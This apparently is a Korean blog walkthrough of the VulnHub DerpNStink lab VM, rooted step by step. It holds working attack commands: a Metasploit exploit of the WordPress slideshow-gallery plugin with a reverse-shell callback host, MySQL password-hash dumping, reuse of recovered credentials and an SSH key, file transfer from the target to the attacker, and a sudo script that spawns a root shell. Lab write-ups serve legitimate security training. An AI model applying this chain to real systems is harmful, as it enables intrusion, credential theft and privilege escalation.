https://www.vulnhub.com/entry/derpnstink-1,221/
Information Gathering
└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.206
Host is up (0.00027s latency).
MAC Address: 08:00:27:11:4D:A8 (Oracle VirtualBox virtual NIC)
FTP
Null Session and anonymous session failed
HTTP
robots.txt 가 존재합니다.
허용되지 않는 디렉터리 경로는 /php, /temporary 라고 하네요
페이지 소스에 /webnotes 경로 노출
gobuster, drib, nikto 툴을 사용해서 잠재적 취약점 진단
/weblog 디렉터리에 wordpress, /php 밑에 phpmyadmin 관리자 패널이 있네요
하나씩 접속해봅니다
default credentials failed
페이지 소스에서 찾았던 /webnotes
쉘에서 있었던 것을 그대로 복사해서 붙여 넣은 듯하다
/etc/hosts 파일을 업데이트 해줍니다
기본 페이지에서 프록시를 하니 첫번째 flag 값을 준다
# first flag
flag1(zzZZzZ)
/weblog -> wordpress
Vulnerability
wpsan을 이용한 취약점 진단 실시
└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate | tee ./recon/wpscan_res
admin 유저만 존재하는 것을 확인
보통 로그인할때 default credential 이나 이런것을 검색해서 한번씩 해보는데 이번에는 admin:admin 을 시도해서 로그인을 성공했다.
slideshow 라는 플러그인이 있나봅니다 wpscan에서 옵션을 변경해 다시 검색해보겠습니다
└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate ap, vp
slideshow-gallery는 버전이 1.4.6 인거같습니다
searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾아봅니다
CVE-2014-5460 코드를 가지고 있는 공개 취약점입니다.
Exploitation
metasploit 툴을 이용해 익스플로잇을 실시합니다
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set rhosts 192.168.45.206
rhosts => 192.168.45.206
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
targeturi => /weblog
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
wp_password => admin
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
wp_user => admin
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set lhost 192.168.45.219
lhost => 192.168.45.219
대상 호스트 초기 침투에 성공했습니다
Post-Exploitation
wp-config.php
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmyadmin |
| wordpress |
+--------------------+
5 rows in set (0.00 sec)
mysql> use mysql;
mysql> show tables;
mysql> select User,Password from user;
select User,Password from user;
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky | *9B776AFB479B31E8047026F1185E952DD1E530CB |
| phpmyadmin | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
+------------------+-------------------------------------------+
7 rows in set (0.00 sec)
unclestinky 유저 비밀번호 복호화 하기 전에 어떤 해시 인지 파악한다
# credentials
stinky:wedgie57
SSH 접속 해보겠습니다
비밀번호 로그인은 안되고 공개키 방식으로 로그인만 가능합니다 그렇다면 풀지못한 숙제 ftp로 갑니다
Privilege Escalaion
file에 ssh 디렉터리에서 장난을 쳐놨군요,, 쨋든 모든 파일을 가져왔습니다
└─$ cat derpissues.txt
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay
# private key
└─$ cat key.txt
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwSaN1OE76mjt64fOpAbKnFyikjz4yV8qYUxki+MjiRPqtDo4
2xba3Oo78y82svuAHBm6YScUos8dHUCTMLA+ogsmoDaJFghZEtQXugP8flgSk9cO
...
...
...
a4Id4FlCiJAXl3/ayyrUghuWWA3jMW3JgZdMyhU3OV+wyZz25S8o
-----END RSA PRIVATE KEY-----
└─$ chmod 600 key.txt
└─$ ssh -i key.txt stinky@192.168.45.206
pcap 파일 발견 -> 대상 호스트에서 python을 이용하여 웹서버를 열어서 공격자 칼리로 파일을 전송
stinky@DeRPnStiNK:~/Documents$ python3 -m http.server 1111
Serving HTTP on 0.0.0.0 port 1111 ...
192.168.45.219 - - [12/Jul/2024 08:07:37] "GET /derpissues.pcap HTTP/1.1" 200
└─$ wireshark derpissues.pcap
/weblog/wp-login.php에서 mrderp 유저로 로그인하는 패킷을 확인한 결과 계정 정보를 획득할 수 있었습니다
# Credentials
mrderp:derpderpderpderpderpderpderp
mrderp의 홈디렉터리에는 sudo에서 설정된 바이너리가 없다
/bin/bash 바이너리를 실행하는 스크립트를 만들어 실행하여 관리자 권한을 획득 할 수 있게 진행한다
mrderp@DeRPnStiNK:~$ mkdir binaries; cd binaries
mrderp@DeRPnStiNK:~/binaries$ echo '/bin/bash' > derpy.sh; chmod +x derpy.sh
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh
root@DeRPnStiNK:~/binaries# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
DeRPnStiNK
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 08:00:27:11:4d:a8 brd ff:ff:ff:ff:ff:ff
inet 192.168.45.206/24 brd 192.168.45.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe11:4da8/64 scope link
valid_lft forever preferred_lft forever
root@DeRPnStiNK:/root/Desktop# ls
flag.txt
root@DeRPnStiNK:/root/Desktop# cat flag.txt
flag4(.....)
Congrats on rooting my first VulnOS!
Hit me up on twitter and let me know your thoughts!
@securekomodo
중간에 플래그를 계속 놓쳣네요,,,파일 플래그 형식을 아니깐 하나씩 찾아봅시다
# flag1
root@DeRPnStiNK:~# grep -r 'flag1' /var/www/html 2> /dev/null
/var/www/html/index.html:<--flag1(52E37291AEDF6A46D...F0E008CBA09D6E9166) -->
# flag2
flag2(a7d355b26bda6b...44407f1dc07e51e6)
# flag3
root@DeRPnStiNK:/# grep -r 'flag' /home 2> /dev/null
/home/stinky/Desktop/flag.txt:flag3(07f62b02.....1847a11e11d6d5a7ecb)
# flag4
/root/Desktop/flag.txt:flag4(49dca65f362fee4.....589c52e4e66bf4aedda715fdd)
wordpress를 unclestinky 유저로 로그인하면 flag2가 뜨네요!
'Vulnhub' 카테고리의 다른 글
[Vulnhub] Tommy Boy Walkthrough (4) | 2024.07.17 |
---|---|
[Vulnhub] RickdiculouslyEasy Walkthrough (1) | 2024.07.16 |
[Vulnhub] EVM Walkthrough (0) | 2024.07.12 |
[Vulnhub] djinn Walkthrough (0) | 2024.07.11 |
[Vulnhub] Sar Walkthrough (0) | 2024.07.09 |